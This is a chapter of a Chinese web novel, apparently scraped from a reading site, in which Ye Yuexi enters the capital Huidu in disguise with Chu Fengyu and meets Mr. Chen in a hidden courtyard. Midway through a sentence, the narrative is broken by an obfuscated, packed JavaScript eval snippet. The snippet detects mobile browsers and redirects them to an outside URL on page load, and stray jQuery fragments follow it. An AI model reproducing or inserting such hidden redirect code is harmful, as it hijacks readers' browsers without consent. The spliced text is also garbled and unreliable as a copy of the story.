默认冷灰
24号文字
方正启体

39. 初入珲都

作者:月折夕本书字数:K更新时间:
    中秋过后的第三日,叶月兮只留了一封书信,收拾好了自己的行囊,便出城与楚风玉汇合。


    两人骑马奔腾一路北上,前方三四侍卫开路,后方一二侍卫断后。


    马蹄踏过沾满晨露的野草,溅起细碎的水珠。北方深秋的风已经带上了刺骨的寒意,吹动叶月兮束起的发丝,露出光洁的额头——那抹朱砂红已经被洗净。


    越靠近珲都,叶月兮便越发有些紧张。


    她拉住缰绳令奔驰的马儿停下,目光越过远方起伏的山峦。这座山的背后,便是珲都,那里有她找寻多年的答案,亦有未知的凶险。


    楚风玉在叶月兮身旁停下,他顺着叶月兮的目光看去。离家三年,他也终是回到了这处险地。


    楚风玉递过去一个路引,上面的名字是:卫长卿。一个男身。叶月兮还在疑惑之际,便听楚风玉开口解释道:“这是我为你伪造的另一重身份。虽然不愿承认,但在珲都,男子身份要比女子身份行事方便得多。”


    叶月兮的手指摩挲着那路引,并未拒绝。


    楚风玉说的不无道理。


    纵然她想以女子身份闯出一片天来,但前提是,身为女子的她能在珲都抬眼看见天。


    女子势弱,自古便是如此。在家中遵循礼仪举止,在外表现贤良淑德,一言一行,都是为了嫁一个好的夫家。条条框框犹如一道细绳,明明一扯就断,却偏偏能将人困死在那。


    叶月兮想要伸出手扯断那条细绳,但谈何容易。她想要改变现状,但首先需要的,便是一个能和男子比肩的地位。


    爬上去,将人拽下来,稳坐那个位置,方有她说话的余地。


    叶月兮没拒绝,收起了路引,却道:“现下还不是换身份的时候。工部侍郎在江宁知晓我是女子,若是你身边平白出现了一男子,反倒引人注意。路引我留着,且待来日。”


    “倒是我考虑不周了。”楚风玉将帷帽和那银白面具都一并递给了叶月兮,“马上便要入珲都了,带上吧,可不能令旁人知晓了我这好谋士的身份。”


    如今所要带的东西,倒是比叶月兮光明正大刺杀工部侍郎时带得还要多。


    银白面具带上,将叶月兮的下半张脸牢牢遮住,只露出一双凤眼看着周围,尽管这样了,却依旧不够。帷帽最后带上,将那双沉着冷静的凤眸也一并遮盖。


    珲都除了楚风玉,再也无人能知这位魄力十足的女子究竟长何模样。


    “走吧。”楚风玉的声音从旁传来,带着某种沉静的力量,“该来的,总要来。”


    马蹄重新迈步,朝着前方继续前行。翻过最后一道山岗,视野豁然开朗。


    珲都,这座平阳延续百年的国都,终于出现在眼前。


    它不是霁城那种江南水乡的温婉,也不是边关军镇的粗犷。它像一头盘踞在中原上的巨兽,肃穆森严,带着不可置疑的威压,要让所有人都臣服于它的脚下。


    行至城门前,车马行人骤然增多。运货的商队、进京的官员、北上的旅人……各色各样的人汇成一股洪流,缓缓涌向那座高大的城门。


    空气中弥漫着尘土、马粪还有一丝隐约的食物香气,以及一种说不清、道不明,属于权力中心的喧嚣与躁动。


    “跟紧我。”楚风玉低声嘱咐,率先策马汇入人流。


    叶月兮紧随其后,帷帽下的目光锐利地扫过四周。


    越靠近城门,守卫的盘查就越发森严。除了查看路引后,遇到车队还会掀起帘子来朝里看一眼,行商之人更是每辆马车都盘查得分外仔细。


    前方探路的侍卫掉转方向朝着两人并拢,后面断后的侍卫也快马加鞭地朝前来。七人将叶月兮他们围在中间,朝着城门而去。


    “站住!什么人!路引拿出来!”一声呵斥传来。


    楚风玉搞得阵仗有些大了,很难不引人怀疑。


    但他要的,便是这般效果。


    那白玉雕刻的令牌被为首的侍卫亮出,他厉声道:“郡主在此!休得无礼!”


    顷刻间,朝着楚风玉他们围来的守卫便停下了脚步,将手中的剑一收,半跪行礼道:“参见郡主!”


    楚风玉的视线扫过下面低着头的守卫们,并无太多异常。他侧身拉过叶月兮手中的缰绳,带着她入了珲都城。


    穿过幽深的城洞门,光线骤然明亮,喧嚣声浪扑面而来。


    珲都的街道远比江南宽阔,足以容纳数辆马车并行。地面平铺的青石板,被来来往往的车轮马蹄磨得光滑。两侧商铺林立,招牌幌子五颜六色,伙计的叫卖声、客人的讨价声、车夫的吆喝声,交织成一片繁华鼎沸。


    然而这繁华之下,却隐藏着一种无形的压力。街道上行走的人们,步伐似乎更快,眼神也更加精明;官员的马车或小轿经过时,行人会自觉地避让;衣着华贵的公子小姐身后,往往是成群的仆役。


    这远没有霁城那些地方活得自在欢快。


    叶月兮转过头,隔着那朦胧的薄纱问道:“为什么会是郡主?”


    楚风玉目不斜视地看着前方,马蹄声踢踏,行于青石板上发出清脆的响亮,他答:“我离开珲都三年之久,门口守门的守卫不知已经换了多少了,自是认不出我。况且我此番回都就现在而言,并不想旁人知晓。那令牌只用于区分阶品身份,说你是郡主,能方便行事一些。”


    楚风玉接过侍卫手中递来的帷帽,也将其带上。他将手中叶月兮的缰绳递还给她:“跟紧我。”


    言罢,他策马奔腾起来,烈马在珲都街道中迅勇地向前冲去。


    街上人不少,尽管道路中央宽阔一片,并无行人,但叶月兮是头一次在城中如此策马,一时间还有些放不开。


    眼看楚风玉的身影快要在街角消失,叶月兮攥紧了缰绳,心一横,双腿一夹马腹,“驾!”马儿迅速奔驰起来。


    街边的商铺不断向后退去,风声在耳边呼啸,帷帽的薄纱被疾风吹起,露出面具冰冷的边缘。叶月兮低伏着身子,目光紧锁住前方的那道身影,心脏在胸腔中如鼓如雷地震跳着。


    马蹄踏碎一地黄叶,惊起满片尘埃。前方楚风玉骤然勒马转向,拐入一条街道中。叶月兮紧随其后。


    眼前景象一变。


    这条街道安


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137192|193525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    静许多,两侧多是高墙深院,门户紧闭,只有几株老槐树的枝丫探出墙头,叶子稀稀拉拉。


    楚风玉在一处不起眼的角门前停下,翻身下马。


    楚风玉回头,看着随后停下的叶月兮,朝她伸出手去。


    叶月兮迟疑一瞬,还是将手递了过去,借力下马。她的手冰凉,楚风玉的手却很热,握上的瞬间像一团火,烫得她指尖微颤。


    看着叶月兮站稳,楚风玉松开手,上前抬手叩门。


    五声,一轻三重一轻。


    旋即,门悄无声息地开了。一个头发花白的老仆露出半张脸,看见楚风玉,眼中并无惊讶,只是躬身让开:“世子。”


    “福伯。”楚风玉轻声喊道,随即回头对叶月兮道:“进来吧。”


    叶月兮并未多言,朝着那老者微微点头后便随着楚风玉一并入内。


    角门内是一条狭长的甬道,两侧是光秃秃的灰墙,头顶只一线天光。走了约莫二十步,眼前豁然开朗——一个不大的庭院,栽着几杆绿竹,一口石井,檐下还挂着几串风干的辣椒和玉米,颇有几分农家野趣,与珲都的繁华格格不入。


    陈先生系着襻膊自屋内走出,手中还拿着几根干玉米,上面的粒已经被扒下了一半,看见楚风玉的时候,他倒是不客气:“净手,过来帮忙。”


    福伯似乎早有预料,已然从石井中打出一盆水来安放在一旁。


    叶月兮倒是从未想到,再见陈先生会是这样一幅光景。


    那位在江宁运筹帷幄、杀气显露之人,此刻站在秋日的庭院中,像一个最为寻常的老农。


    楚风玉却早已习惯,摘了帷帽,从善如流地净了手,接过陈先生递来的另一根玉米。


    他的视线落在了叶月兮身上。


    叶月兮也挽起了一点衣袖,将手伸入那冰凉的井水中。


    福伯抵上一块干净的干帕,叶月兮擦完手方要拿起那玉米便被制止。


    楚风玉道:“你不用干,坐一会儿,歇一歇。这一路舟车劳顿的,若是困乏,让福伯带你去小憩一下。”


    叶月兮轻轻摇了摇头。


    “不舒服的话可以将帷帽和面具摘下来,在这儿不用怕。”楚风玉出言提醒道。


    他既都这般说了,若是叶月兮再带着,反倒有些失礼。她将东西全部摘下,一旁的福伯便伸手接了过去。


    叶月兮和陈先生骤然四目相对,她还未有什么反应,倒是见陈先生轻声一笑:“进来吧,屋外冷。”


    入了屋内,便是一股尘土的味道,其中还夹杂着玉米棒上带着的阳光余韵。


    楚风玉用脚勾过一个四四方方的竹凳拖至叶月兮身后,“坐吧。”


    屋内一片寂静,叶月兮就坐在一旁,听着玉米粒落入竹匾中的簌簌声,像是秋雨打竹叶。这声音听得令人安心,让她紧绷的身子不知不觉放松下来。


    陈先生只是偶尔抬头看她一眼,目光平和,像是在打量一个久别重逢的故人,又像是在审视一块还未雕琢的璞玉。


    直至福伯的一句话,打破了这份宁静。


    “左相,您来啦。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)